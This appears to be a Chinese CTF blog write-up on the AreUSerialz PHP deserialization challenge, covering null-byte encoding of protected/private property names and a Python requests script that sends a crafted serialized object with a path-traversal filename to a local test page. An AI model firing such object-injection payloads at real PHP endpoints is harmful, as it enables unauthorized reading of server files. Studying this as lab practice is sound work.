protected/private反序列化中python发包注意点


前言

今天做了道反序列的题,[网鼎杯 2020 青龙组]AreUSerialz
反序列题一直都不太会做,这道题其中也有诸多疑问,于是搭建了个环境认真研究了下

原题的wp中主要注意的一点就是php7.1+版本对属性类型不明感,可转化为public绕过

改动

然后我把题目改了下,把function is_valid($s){}删掉,目的是想研究下protected变量的反序列化问题。

<?php

class FileHandler
{
    protected $op = 2;
    protected $filename = "../../../WWW/localhost/flag.php"; 
    //这里那么长是因为反序列后路径变到php.exe那里,需要改下目录或者干脆绝对路径
}
$A = new FileHandler();
$B = serialize($A);
echo $B;

浏览器刷新下,复制下来

O:11:"FileHandler":2:{s:5:"*op";i:2;s:11:"*filename";s:31:"../../../WWW/localhost/flag.php";}

注意s:5:”*op”,实际上是有一个ascii码为0的不可见字符在里面,所以长度是5不是2。

如果长度错误反序列化就是失败。

所以如果是这两个变量的话需要手动改成以下这样的形式。

private:

\x00类名\x00变量名
\0类名\0变量名

protected:

\x00*\x00变量名
\0*\0变量名

然后要注意的是因为url解码会把这些字符转化掉,经测试谷歌浏览器和burpsuite都没办法正确传值,所以要用python发包

//?str=\0*\0
echo $_GET['str']; // 什么都没有
$str = (string)$_GET['str']; // \0*\0

python发包代码

import requests

url = 'http://localhost/test2.php/?str=O:11:"FileHandler":2:{s:5:"\0*\0op";i:2;s:11:"\0*\0filename";s:31:"../../../WWW/localhost/flag.php";}'

payload = {}
headers = {}

response = requests.request("GET", url, headers=headers, data=payload)

print(response.text)

在这里又掉入了一个坑,平时写字符串都喜欢加个r,写什么是什么不让它自动转义,

url = r'http://localhost/test2.php/?str=O:11:"FileHandler":2:{s:5:"\0*\0op";i:2;s:11:"\0*\0filename";s:31:"../../../WWW/localhost/flag.php";}'

这次我加了r,实际是多次一举。

\x00*\x00\0*\0本意就是让它在发包的时候自动转义,加了r反而把16进制当做字符串传过去,导致反序列化失败。

TODO

为什么删掉原代码中的$str = (string)$_GET['str'];,反序列化会失败?


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录